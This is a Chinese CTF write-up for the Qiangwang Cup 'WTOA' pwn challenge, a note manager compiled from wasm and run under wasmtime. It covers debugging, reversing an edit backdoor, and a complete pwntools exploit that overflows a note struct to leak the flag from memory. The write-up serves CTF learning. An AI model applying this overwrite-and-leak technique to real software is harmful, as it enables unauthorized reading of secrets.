news 2026/4/3 5:32:52

第七届强网杯-PWN-【WTOA】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
第七届强网杯-PWN-【WTOA】

文章目录

    • 参考
    • WebAssembly
    • Wasmtime
    • 调试
    • 逆向源码
    • exp

参考

WebAssembly实践指南——C++和Rust通过wasmtime实现相互调用实例

WebAssembly

WebAssembly是一种可移植的二进制指令集格式,其本身与平台无关,类似于Java的class文件字节码。

WebAssembly本来的设计初衷是想让浏览器可以运行C语言这种编译型语言的代码。通常我们的C语言代码会使用gcc或clang等编译器直接编译链接成与平台相关的二进制可执行文件,这种与平台相关的二进制文件浏览器是无法直接运行的。如果想让浏览器运行C语言代码,就需要使用可将C语言编译成WebAssembly指令的编译器,编译好的代码是wasm格式。然后就可以使用各种wasm运行时来执行wasm代码,这就类似于JVM虚拟机执行class文件。

由于指令集和运行时环境本身与web场景并不绑定,因此随着后来的发展,WebAssembly指令集出现了可以脱离浏览器的独立运行时环境,WebAssembly的用途也变得更加广泛。

Wasmtime

相比于浏览器的运行时,wasmtime是一个独立运行时环境,它可以脱离Web环境来执行wasm代码。它本身提供了命令行工具和API两种方式来执行wasm代码。

启动时候flag作为环境变量在内存,这里是通过AOT 编译wasm 代码为ELF,所以通过--allow-precompiled来运行

./wasmtime run--envFLAG="flag{zhiyinnitaimei}"--disable-cache --allow-precompiled ./wtoa

调试

gdb ./wasmtimesetargs run--envFLAG="flag{zhiyinnitaimei}"--disable-cache --allow-precompiled ./wtoa

发现flag和add后输入的content很接近

pwndbg>search flag{Searchingforvalue:'flag{'[heap]0x555556fac865'flag{zhiyinnitaimei}@'[heap]0x555556fc91c0'flag{zhiyinnitaimei}'[anon_7ffe77bb3]0x7ffe780b2b40'flag{zhiyinnitaimei}'[anon_7ffe77bb3]0x7ffe780b2c6d'flag{zhiyinnitaimei}'[stack]0x7fffffffe19b'flag{zhiyinnitaimei}'pwndbg>search aaaaaaaa Searchingforvalue:'aaaaaaaa'[anon_7ffe77bb3]0x7ffe780b2cc0'aaaaaaaa'pwndbg>distance 0x7ffe780b2cc0-0x7ffe780b2c6d 0x53 does not belong to a mapped pageinmemory pwndbg>distance 0x7ffe780b2cc0-0x7ffe780b2b40 0x180 does not belong to a mapped pageinmemory pwndbg>

wtoa的代码段是在wtoa偏移0x1000开始,所以记得函数断点0x7ffff7bfc000+IDA中的地址-0x1000

0x7ffff7bfc000 0x7ffff7c08000 r-xp c0001000/home/llk/Desktop/pwn/attachment/glibc_pwn/2023qwb_WTOA/WTOA/wtoa

逆向源码

把wasm格式文件放入IDA

IDA View->Graphs->Function Calls

找到分支比较多的可能是主函数,然后查看,并结合调试和字符串定位来逆向

调试发现输入Add后如下,应该只能截取两个字节,然后高字节减去A来得到对应的choice,并且flag在下面不远处

0x7ffff7bfd337 call 0x7ffff7bfeef0<0x7ffff7bfeef0>► 0x7ffff7bfd33c movsx r8, byte ptr[rbx + r15 + 0x10]R8,[0x7ffe780b2b20]=>0x41 0x7ffff7bfd342addr8d,-0x41R8D=>0(0x41 + 0xffffffffffffffbf)x/40s 0x7ffe780b2b20 0x7ffe780b2b20:"Ad"0x7ffe780b2b23:""0x7ffe780b2b24:""0x7ffe780b2b25:""0x7ffe780b2b26:""0x7ffe780b2b27:""0x7ffe780b2b28:""0x7ffe780b2b29:""0x7ffe780b2b2a:""0x7ffe780b2b2b:""0x7ffe780b2b2c:""0x7ffe780b2b2d:""0x7ffe780b2b2e:""0x7ffe780b2b2f:""0x7ffe780b2b30:""0x7ffe780b2b31:""0x7ffe780b2b32:""0x7ffe780b2b33:""0x7ffe780b2b34:""0x7ffe780b2b35:""0x7ffe780b2b36:""0x7ffe780b2b37:""0x7ffe780b2b38:""0x7ffe780b2b39:""0x7ffe780b2b3a:""0x7ffe780b2b3b:""0x7ffe780b2b3c:"m\034P"0x7ffe780b2b40:"flag{zhiyinnitaimei}"0x7ffe780b2b55:""

根据字符串定位时发现没有引用的,后来发现是通过偏移的,发现第 3 个参数原来是 .rodata.wasm 段内的偏移值

print(v6, v6, 0x46FLL, 0LL);// size .rodata.wasm:000000000001B46F aSize db'size > ',0

然后结合字符串和上下文和动态调试可以猜出所有函数的作用

大概是每次进入函数都会先模拟开辟栈空间,然后调用其中的变量

大致管理如下

可以发现第0个chunk_struct的content_offset在第1个chunk_struct上面

结合edit存在的后门,当 len == 0x345231会写48个字节,但只能写一次,所以利用一次得到flag

getinput(a1,a1,0LL,v20-48,31);len=set_to_chunk(a1,a1,v20-48);*(base+v4+36)=len;if(len==0x345231){if(*(base+4016)==1){v14=*(base+v4+44);*(base+v4+4)=*(base+v4+40);*(base+v4)=v14;print(a1,a1,0x4DELL,(v20-96));// content for note[%lu] with offset [%lu] >save(a1,a1,*(v19+40)+*(base+*(base+(*(base+*(v19+92)+4)+4**(base+v4+44)))),48);*(base+4016)=0;gotoLABEL_15;}v13=base+v4;}

根据上述缓存区是在chunk_struct 2上方,结合溢出,可将content_offset起改为flag的偏移,然后show可以泄露处flag,当然长度不够,再把size改大就行

发现开了随机话后偏移不变,改为flag的偏移即可

exp

frompwnimport*context(os="linux",arch="amd64",log_level="debug")p=process('wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa'.split(' '))gdb.attach(p)pause()p.sendlineafter(b"Choice > ",str("A"))p.sendlineafter(b"size > ",str("8"))p.sendlineafter(b"content for note[0] > ",8*str("a"))p.sendlineafter(b"Choice > ",str("A"))p.sendlineafter(b"size > ",str("8"))p.sendlineafter(b"content for note[1] > ",8*str("b"))p.sendlineafter(b"Choice > ",str("E"))p.sendlineafter(b"index > ",str("0"))p.sendlineafter(b"offset > ",str("0"))p.sendlineafter(b"length > ",str("3428913"))p.sendlineafter(b"content for note[0] with offset [0] > ",b"a"*32+p64(0x501b40)+p64(0x20))p.sendlineafter(b"Choice > ",str("S"))p.sendlineafter(b"index > ",str("1"))p.sendlineafter(b"offset > ",str("0"))p.sendlineafter(b"length > ",str("32"))p.recvuntil(b"content for note[1] with offset [0] > ")flag=p.recv(timeout=2)print(flag)p.interactive()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/2 6:26:01

通过GLM-TTS生成系列AI语音教程视频实现精准引流

通过GLM-TTS生成系列AI语音教程视频实现精准引流 在知识内容爆炸式增长的今天&#xff0c;教育类短视频正成为用户获取信息的主要入口。然而&#xff0c;高质量教学视频的制作成本居高不下——讲师反复录制、配音风格不统一、术语发音不准、更新迭代效率低等问题&#xff0c;严…

作者头像 李华
网站建设 2026/4/2 11:00:09

语音合成中的语音年轻化处理:老年录音恢复青年音色

语音合成中的语音年轻化处理&#xff1a;老年录音恢复青年音色 在一家养老院的数字记忆项目中&#xff0c;工作人员尝试为一位90岁的老兵录制口述历史。他声音颤抖、气息微弱&#xff0c;讲述着1949年那个夏天穿越长江的惊险时刻——但听者很难将这沙哑的叙述与当年那位意气风…

作者头像 李华
网站建设 2026/4/1 12:39:04

语音合成与边缘计算结合:在靠近用户的节点就近生成音频

语音合成与边缘计算结合&#xff1a;在靠近用户的节点就近生成音频 在智能客服对话卡顿、有声读物加载缓慢、虚拟主播反应迟滞的今天&#xff0c;用户对“即时响应”的期待早已超越功能可用性&#xff0c;直指体验流畅度。而在这背后&#xff0c;一个关键瓶颈正逐渐浮出水面——…

作者头像 李华
网站建设 2026/3/22 2:02:53

GLM-TTS能否用于健身教练APP?运动指导语音实时反馈

GLM-TTS能否用于健身教练APP&#xff1f;运动指导语音实时反馈 在智能健身设备和手机应用日益普及的今天&#xff0c;用户早已不再满足于“播放预录音频”的机械式指导。他们期待的是一个能“看见”自己动作、听懂训练节奏、还会鼓励打气的虚拟教练——就像私教站在身边一样。然…

作者头像 李华